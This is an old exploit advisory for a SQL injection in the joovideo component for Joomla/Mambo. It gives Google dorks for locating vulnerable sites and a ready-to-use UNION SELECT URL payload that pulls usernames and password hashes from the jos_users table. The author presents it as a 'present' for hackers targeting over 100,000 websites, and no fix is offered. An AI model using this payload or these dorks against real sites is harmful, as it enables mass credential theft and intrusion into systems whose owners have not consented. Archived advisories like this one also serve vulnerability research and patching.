Joomla Component joovideo 1.2.2 (id) SQL Injection Vulnerability

2008-03-19 00:00:00

##########################################
#
# Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : [email protected]
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_joovideo" detail
#
# DORK 2 : allinurl: "com_joovideo"
#
# DORK 3 : Powered by joovideo V1.0
#
###########################################
EXPLOIT :

index.php?option=com_joovideo&Itemid=S@BUN&task=detail&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####[email protected]#####
###########################################

side note:
<name>joovideo</name>
<creationDate>18.04.2007</creationDate>
<author>joomlapixel</author>
<copyright>This component in released under the commercial License</copyright>
<authorEmail>[email protected]</authorEmail>

<authorUrl>www.joomlapixel.eu</authorUrl>
<version>1.2.2</version>
<description>joovideo! video manager semplificato per joomla!, versione commerciale</description>

#

Fixes

No fixes

In order to submit a new fix you need to be registered.